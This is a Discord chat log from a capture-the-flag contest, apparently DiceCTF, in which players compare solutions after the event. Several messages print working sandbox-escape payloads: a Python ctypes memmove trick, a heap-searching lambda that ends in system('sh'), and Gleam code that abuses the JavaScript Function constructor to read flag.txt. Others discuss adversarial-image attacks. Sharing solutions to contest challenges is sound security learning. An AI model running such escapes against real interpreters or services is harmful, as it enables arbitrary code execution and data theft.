Question about floordrop (I didn't work on it): so intended solution is not speed up solve.py?

#

or what

upper plover
#

i think given its position as a misc chall sloth_root() was intended to be a red herring and you were supposed to do sth involving the blockchain

#

that said how does the fastpow soln work? I thought the one used (pow(x, (p+1)//4, p) to find modular square root for p % 4 == 3) was already the fastest algo typically used in sage

mint plume
#

nice solution

#

we also used ctypes voodoo, g = ''.__class__.__base__.__subclasses__()[-2].__init__.__globals__; a=g['_memmove_addr'] - 0x152530 + 0x4c3a0; s=g['memmove'].__class__(a); s(b'ls', b'', 0)

#

had to bruteforce memmove addr cuz we didn't know the remote env

feral ravine
#

Wait, I thought ctypes functions triggered hooks too, hmm

#

or only the first time, while you don't have the address, bc it dlsym's?

feral ravine
upper plover
#

how so?

feral ravine
#

reduction mod p can be faster

#

bc it's rougly split it into two parts of bits and add

mint plume
upper plover
#

i dont quite follow

feral ravine
#

Hmmm, I thought I checked ctypes source for that

mint plume
#

CFUNCPTR does not trigger, but you cannot use it because it will trigger try/catch fails due to lack of builtins

#

but you can use pre-defined ones from memmove.__classs__ ๐Ÿคก

#

it was very interesting that it is impossible to use try/catch when there's no builtins

feral ravine
#

Yeah, I think my problem was dlsym triggering

mint plume
#

it keeps yelling there's no BaseException so cannot handle this shit

feral ravine
#

which doesn't happen if you already have an addr

mint plume
#

and ctypes have neat funciton address leaks

#

memset and memmove

feral ravine
#

Yeah

#

pythonapi._handle was also a leak I had

#

but yeah, didn't think of actually bypassing the dlsym ๐Ÿ™ƒ

mint plume
#

I more like your solution, never thought sys has a such function

#

power of auditing

stuck hazel
#

and a^2+b^2 is mod 2^k

upper plover
#

x = a + 2^k * b
x^2 = a^2 + 2 * 2^k * ab + 2^2k b^2 --> (a^2 + b^2) + 2ab * 2^k, slap mod 2^k on LHS to get the relation down

aah i see it now. Im actually getting math diffed so hard that I needed to write the workings down just to see the relation
So you just do this, what, 44495 times and it takes under 2 seconds on python..?

crystal swallow
#

We did not think speeding up was possible but people figured out how to do that, I think someone even said they got it to 0.8s so that's super impressive

upper plover
#

yea i saw the intended writeup too!
but my crypto brain needed to know the faster pow method

stuck hazel
#

So it's not surprising that writing it in c++ and compiling with a bunch of bullshit flags e.g. -Ofast -march=native -static (I forgot) will squeeze it under 2s

crystal swallow
#

Bullshit flags hahahaha

upper plover
#

gmpy uses the c/cpp behind python iirc no?

crystal swallow
#

It does, we tried a rust impl too

upper plover
crystal swallow
#

Bs flags, and the way p was chosen

stuck hazel
#

Of course we have 40000 bit numbers now instead of 64/128 bits, but that's the same, just use gmp kek

crystal swallow
#

I thought that the fact that it had to happen on the blockchain was a clear hint that this isn't about optimizing for speed, coz otherwise why blockchain for no reason

#

But I guess it's also part of the challenge to listen to the pending txn

#

Or query for it

stuck hazel
#

As a crypto player, I agree

upper plover
#

i was under the impression that the chall being in misc heavily implied that `you werent expected to speed up sloth_root()

true dawn
#
w="cast";l=(lambda x:0);k=(lambda x:[c for c in().__class__.__base__.__subclasses__()if c.__name__==x][0].__init__.__globals__);g=k("LibraryLoader");z=(lambda a:g[w](a,g["POINTER"](g["c_uint64"])).contents.value);q=(a:=(0).__class__(("%r"%(l,)).split()[-1][2:-1],16))-327680;k("Quitter")["sys"].setrecursionlimit(99999);F=(lambda q,F,n:(F(q+8,F,n+1)if n!=0 else q)if z(q+8)==z(a+8)and z(q+16)==z(a+16)else F(q-8,F,n));Z=F(q,F,0);g[w](Z,g["py_object"]).value.__closure__[0].cell_contents=l;k("_wrap_close")["system"]("sh")

diligent-auditor
it does a very crude search on the heap to find the lambda function, then overwrites it

there was a bit more golfing in the final soln. but thats the gist of it

gray cradle
cobalt hare
lapis heron
#

also you don't need to implement a differentiable JPEG by yourself, IIRC there's multiple versions on github

cobalt hare
#

I did use a module for DiffJPEG, I guess the main problem was FGSM

lapis heron
#

If you do FGSM properly you won't get >=10 diff though, but first you shouldn't expect a single FGSM works because it does pretty random augmentation

#

random crop and random jpeg quality etc

cobalt hare
#

My bad, I did FGSM and looped it for like 50 times

#

Basically using this code as template and modifying it

lapis heron
#

And if you apply FGSM repeatedly and clamp diff, I imagine that for more than a few iterations it would be worse than just learn it (that's my understanding, haven't tried)

cobalt hare
#

If the learning rate is low = fail to become Madagascar cat

Higher learning rate = works but fail < 10

#

Would look into other methods, thanks

#

Also would you mind sending your code? Thanks @lapis heron

lapis heron
#

on mobile, but tbh it's not much different than someone else posted in this channel

#

it's really a "do you know how to use pytorch" challenge, like most DL-ish challenges in CTFs

cobalt hare
#

(me who can only use Keras:

#

๐Ÿฅฒ

lapis heron
#

or jax, or tf if you... have unique interests

#

I'm not familiar with keras tho, is it that different?

cobalt hare
#

Itโ€™s like tensor flow but easier

#

But tbh fundamental problem might be me not having enough experience with DL

tidal valve
#

I think we need the PGD attack but I dont know how to bypass reading_glasses?

boreal edge
#

curious if there were any solutions to diligent_auditor not using ctypes

#

it feels like something there could have been lots of possible solutions to

boreal edge
#

i thought about gdbm and sqlite3 as stdlib bindings to c libraries which can do file io (neither is suitable), didnt think of readline :3

spare lark
#

for jpeg, was the jpeg compression part even relevant? I just started the optimization after compression so that I didn't have to deal with it, but also before cropping so that I knew which pixels to change. So, normalize -> compress -> set requires grad -> crop -> FGSM -> clamp, and repeat this for 500 iters for each target. Here's the script with some comments, might add more details later: https://www.kaggle.com/greghuna/dice-jpeg

cobalt hare
#

What happened for me was I tried to just do FGSM then send it, but the jpeg compression killed my noise lemonthink

indigo kettle
cobalt hare
#

am confused, why did my image got nuked when it went through the compression

indigo kettle
cobalt hare
#

tried 50-200, eplision 1e-3 to 5e-2

indigo kettle
cobalt hare
#

weird, i might try again later

#

(unless i am not using the code from github correctly

indigo kettle
# cobalt hare tried 50-200, eplision 1e-3 to 5e-2

Maybe is too low the number of iterations. What I did for this chall is to not set the number of iteration but to stop the optimization only when I have a large number of consecutive match with the target id

serene jewel
cobalt hare
#

๐Ÿ’€

indigo kettle
cobalt hare
#

you mean the normalization?

indigo kettle
cobalt hare
#

in theory should be, have to double check my code later

#

maybe compression, i swapped to the DiffJPEG

indigo kettle
#

So also if you use an higher learning rate you can clip the perturbation and continue

cobalt hare
#

makes sense

indigo kettle
cobalt hare
#

๐Ÿ˜†

feral ravine
plucky walrus
tidal valve
#

could you share your code?

rapid barn
#

hows fgsm or cw i just tried simple solution and it worked with about ~90% acc on each target

spare lark
plucky walrus
#

@spare lark Thanks a lot for your reply!I think I should try the fast method to solve the problems next time first.lemonthink

toxic turret
#

dicecap was fun challenge, good stuff

brisk depot
#

@topaz thistle good job ๐Ÿ”ฅ

still swift
#

is diceon working properly?

#

i tried to load the page and it is hanging

static wedge
#

diceon is being fixed

#

in the meantime please enjoy this pineapple as a token of our appreciation: ๐Ÿ

still swift
#

ah nvm just read the announcement now

#

thanks ๐Ÿ™‚

topaz thistle
arctic crag
#

where is glail's flag supposed to be located

reef eagle
worldly path
#

are we allowed to ask for sanity checks

#

feel like im going insane with dicecap lol

manic sundial
#

no hints nudges or sanity checks ๐Ÿค“

arctic crag
#

is it possible to get a local version of diceon? it is extremely slow rn and I'd like to get a little progress

topaz thistle
#

lil excerpt

worldly path
topaz thistle
#

it isnt broken

#

๐Ÿ™‚

worldly path
#

fuck lol

#

skill issue ig

topaz thistle
#

yeah pretty much

arctic crag
#

pcap just makes you go insane it's intended behavior

manic sundial
topaz thistle
#

you can do it ๐Ÿ’ช

manic sundial
#

although if you think there's an oversight you can always let us know

arctic crag
manic sundial
#

Bug, mistake, small issue

manic sundial
#

(we're investigating the issue)

arctic crag
#

it's so random... i get super fast then super slow with diceon

arctic crag
#

p2w
noo

timber ledge
#

John is really lazy ๐Ÿคฆโ€โ™‚๏ธ

static wedge
#

(total)

arctic crag
#

still paying

static wedge
#

welcome to the vibe coding era

half bay
#

please someone upload ๐Ÿšจ JAILBREAK ALERT ๐Ÿšจ pwned liberated etc

rapid barn
#

at this point can i use my own api key in the instance?

rapid iron
#

dicecap is gonna drive me up a wall lol

#

I'm trying to find the damn you know what and ๐Ÿ’€

topaz thistle
#

gl

foggy wigeon
#

argh im so close but nothing works in dicecap

worthy merlin
#

anyone have done misc/dicecap ?

topaz thistle
burnt helm
topaz thistle
stable wind
#

can u be talking

#

-# (/joke ofc)

topaz thistle
manic sundial
turbid prawn
#

@topaz thistle fun chall for dicecap. can i create a ticket to ask if we solved it in the intended way?

swift ice
#

gleam jail was awesome chal

grizzled canopy
#

golden-bridge was really fun, took me a while to solve

willow solar
#

is golden-bridge down? now it is just showing 404 page not found even the instance has started for quite a while, tried to stop and restart instance but its the same

#

also is it possible to extend the time of the instance? (golden-bridge)

grizzled canopy
willow solar
grizzled canopy
willow solar
#

i have submitted a ticket 1-2 hour ago, but i think the admin for this challenge is not online

grizzled canopy
hollow acorn
#

๐Ÿ‘€

topaz thistle
hollow acorn
#

? wait what

topaz thistle
#

find where this photo was taken

#

(there are no points available for solving)

#

another one from the same point

grizzled canopy
topaz thistle
#

I want the co-ordinates to 3dp

grizzled canopy
scenic stratus
#

is this the US

topaz thistle
swift ice
hollow acorn
#

i mean, seems chatgpt can just do it

topaz thistle
#

Fucking hell

swift ice
#

๐Ÿ’€

topaz thistle
#

The town is incorrect, but yes I am on lake Geneva

scenic stratus
#

:o

topaz thistle
#

Actually

#

Morges is very close

#

Lemme see where those co-ords are

#

where did that find

#

Yeah I'm a couple miles east of those co-ords in that photo

#

What photo did you give it @hollow acorn ?

hollow acorn
topaz thistle
#

Yep

#

well done

topaz thistle
#

The second one is the Lausanne skyline

#

so figured that'd be distinct enough

#

Ok let's try another photo

#

Haven't actually tried reverse searching this one so idk how hard it is

hollow acorn
topaz thistle
#

Yep

#

Hmmm

hollow acorn
#

honestly photos with buildings are pretty easy

topaz thistle
#

Trying to think of something harder

hollow acorn
#

just get some landscape that is just some grass

grizzled canopy
#

yeah google finds that it's old town bridge tower instantly

topaz thistle
#

ok given these 3 photos

#

work out my flight

#

I want the origin and destination airport

#

and the time I took off

#

I'll say that it was on the 30th January

scenic stratus
#

bro flew wizz air ๐Ÿ˜”

topaz thistle
#

it's cheap ok

#

wizz is good

gaunt pike
#

takin a wizz in the sky

scenic stratus
#

wizz air try to make a functioning date selector challenge

hollow acorn
topaz thistle
#

errrr

#

does that help?

hollow acorn
#

no just funny

topaz thistle
#

one of them

gaunt pike
#

you know in those videos I don't really believe the seat number is accurate

grizzled canopy
#

seat number you can almost tell which one it is because of the wing photo

gaunt pike
#

it could be off but a row or two

#

there's just not enough information

topaz thistle
#

Yeah

scenic stratus
#

is this from london gatwick

topaz thistle
#

Yep

scenic stratus
#

so is it one of these 2

#

hrmm

#

likely

topaz thistle
#

Yeah wizz air fly to loads of places

scenic stratus
#

wizz air is such a mystery

topaz thistle
#

Wizzair you can do so many goofy routes

#

Like London to Mauritius or something

#

With a couple layovers

scenic stratus
#

Wizz Air's chief executive sits down with City A.M. to discuss the airlines performance, headwinds and that ยฃ100m bonus scheme.

CNA

Another denunciation was made in relation to the airline company Wiz Air

grizzled canopy
#

I'd say seat 27F on an airbus321 but could be wrong

#

I need flightradar premium to search that far back

scenic stratus
hollow acorn
#

it's 2222

#

the time should be 1455 - 1810

#

the bording gate is Terminal S, gate 13

grizzled canopy
#

january in budapest i think so

#

jan 30 still winter

hollow acorn
hollow acorn
grizzled canopy
#

not all trees lose leaves in the winter, not really sure what trees are in the picture though

#

He already said it was jan 30 though so it has to be 2226 so the dark picture of budapest lines up

hollow acorn
#

2222

#

the time in google flights are for next year (?)

grizzled canopy
#

ah I see, that makes more sense

topaz thistle
#

well done

grizzled canopy
#

Was it the seat I said?

topaz thistle
#

Errr

#

I'll need to find my boarding pass

grizzled canopy
#

I mean I overlooked the fact that the google flights times were for next year so no one is safe

grizzled canopy
hollow acorn
#

i feel like i have some landscapes that are just impossible

#

but rainbolt can just do sky so who knows

grizzled canopy
#

him and all the high level geoguessr players

topaz thistle
grizzled canopy
#

dang

#

probably further back I didn't take into account the angle on the first picture

hollow acorn
#

well it's probably close anyway

#

26F-29F

grizzled canopy
#

yeah it's hard

#

i ruled out 26f because on the seatmap it says it has no window

#

since it's the door seat

hollow acorn
dense apex
#

My man, I won't want to see that word again:

timber ledge
#

the .pcap challenged has f*cked up my head

#

and I have 11 mins to figure it out

topaz thistle
#

you can do it

timber ledge
#

no ๐Ÿฅฒ

#

7 mins..

#

still on it

#

4

#

2

median moss
#

Our team is blasting The Final Countdown on the speakers rn

timber ledge
#

๐Ÿ˜‚

#

i'm doomed

#

47sec

#

32

#

i wish this was a Hollywood scene

sudden garnet
#

was literal seconds away from solving golden bridge then the instance terminated ๐Ÿ˜ฆ

frozen monolith
wanton girder
#

glail solve?

slate lark
#

cppickle solution?

topaz thistle
#

@timber ledge I can explain how to solve pcap one if you want

timber ledge
#

Yeah the password generation killed me, I just got to it a few mins before count down

dense apex
#

My man the diceon one, I was so close but AI kept on hallucinating ๐Ÿ˜ฆ

topaz thistle
swift ice
midnight solstice
#

Was cppickle pwn related or was there a normal solve

lean wasp
#

Intended was find a memory corruption bug ๐Ÿ™‚

timber ledge
pallid iron
#

Hi
What's the solution for glail?

lean wasp
#

For cppickle

midnight solstice
#

Shouldโ€™ve seen it coming when I saw kmh author sadge

lean wasp
#

An oob call into a vector of std functions

swift ice
slate lark
#

anyways, nice chal

atomic grove
swift ice
atomic grove
fringe vector
#

we used ops.inductor._reinterpret_tensor then pwn. didn't spot bugs in unpickler

topaz thistle
fringe vector
shut plaza
#

simpler solve for glail

pub type X {
    X(constructor: fn(Object) -> Int)
}
pub type Object {
    Object(constructor: Function)
}
pub type Function {
    Function(constructor: fn(String) -> fn() -> Int)
}
fn inner(x: Object) -> Int {
    x.constructor.constructor("imp\u{006f}rt('bun').then(x => x.$`cat flag.txt`).then(console.log)")()
    1
}
pub fn main() {
  let x = X(inner)
  X(..x)
}
topaz thistle
#

However it truncated the time to the minute (e.g. 12 mins and 37 seconds goes to 12 mins)

topaz thistle
atomic grove
#

tbh a little sad that they found that bug between me writing the challenge and dicectf starting

timber ledge
shut plaza
#

It was one of the first things I tried lol, only found out later it was fixed on latest

fluid scarab
#

I didn't realize the username

#

Lmeow

atomic grove
#

that's crazy

hollow kelp
#

author thoughts on golden-bridge https://bulr.boo/writeups/2025/dicectf/quals.html
I apologize for not stating the 10 minute instancer timeout on remote up front I should have definitely done that in hindsight
I just got worried because the chall takes 2 gb of memory on remote

#

(oh wait we haven't released the git repo yet lol)

hollow kelp
lapis marsh
#

So for dicecap, what was the username to use for the decrypt? Hacker? Or WO0t? Or something else I missed entirely lol

topaz thistle
#

hacker

lean wasp
lean wasp
fast flower
#

@static wedge diceon was a really fun challenge concept

#

and fun (when it worked :))

lapis marsh
# topaz thistle `hacker`

Rip ๐Ÿฅฒ, so I had everything but the timestamp, I used the chat thing in the beginning when the person said "uploaded a zip file for you" and using the thing in the binary I rounded it but ig I was off lol

swift ice
#

anyone have wu for golden bridge ๐Ÿฅบ

grizzled canopy
swift spindle
lapis marsh
#

[thing_i_rounded]en_UShacker

F in the chat lol

swift spindle
#

thanks for the fun challenge again this year ~

lapis marsh
#

GG's! ๐Ÿ™‚

proper igloo
noble sigil
#

payload for diceon anyone?

still zinc
fathom brook
#

misc/glail

pub type Mock {
    Mock( constructor: Mock1 )
}
pub type Mock1 {
    Mock1( constructor: fn(String) -> fn(String) -> String )
}
pub type A {
  A(a: Int, constructor: fn(Mock) -> String)
}
pub fn constructor(value: Mock) -> String {
  value.constructor.constructor("Bun.file('./flag.txt').text().then(console.log)")("")
}
pub fn main() {
  let x = A(1, constructor)
  A(..x, a: 2)
}
grizzled canopy
#

PS: my full script is a bit of a mess

topaz thistle
#

did you round up or down

lapis marsh
#

Down

#

Plz don't be up lmao

topaz thistle
#

wait so

#

send what you had

lapis marsh
topaz thistle
#

alr

fathom brook
#

during ctf I have seen someone from fluxfingers creating issues on glail repo lmao

topaz thistle
#

lmfaooo

lapis marsh
fathom brook
#

xD

fathom brook
#

it used echo which isnt avaliable in module i think?

swift ice
#

if you have some unsupported feature in a function when it compiles to js it ignores it instead of error

#

eg: non byte aligned bitvec

fathom brook
#

which could be overriden

swift ice
# fathom brook lmao

basically u could just make a function called require, and put unsupported feature in it. it compiles, but gets deleted, so when its called, it uses bun's require

fathom brook
#

yeah I see

#

in your solution

#

nice

topaz thistle
#

remember to submit it for the writeup comp

grizzled canopy
topaz thistle
grizzled canopy